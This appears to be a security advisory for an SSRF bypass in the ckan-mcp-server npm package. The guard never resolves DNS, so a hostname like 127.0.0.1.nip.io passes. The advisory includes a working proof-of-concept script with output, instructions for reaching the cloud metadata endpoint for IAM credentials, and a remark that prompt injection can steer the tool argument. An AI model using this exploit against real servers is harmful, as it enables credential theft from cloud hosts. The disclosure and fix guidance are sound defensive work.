The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.
@aborruso/ckan-mcp-server (npm) — all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).
src/utils/http.ts, validateServerUrlThe guard blocks IP literals and three loopback alias strings, but does no name resolution:
const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed
Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.
Note: numeric-IP encodings (decimal
2130706433, short127.1, hex0x7f.0.0.1) do not bypass — Node's WHATWGnew URL()canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.
Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.
npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk
node poc.mjs
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;
const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));
// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });
const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();
Output:
SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}
A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.
Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.
Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T14:51:20Z",
"nvd_published_at": "2026-09-21T18:17:09Z",
"severity": "MODERATE"
}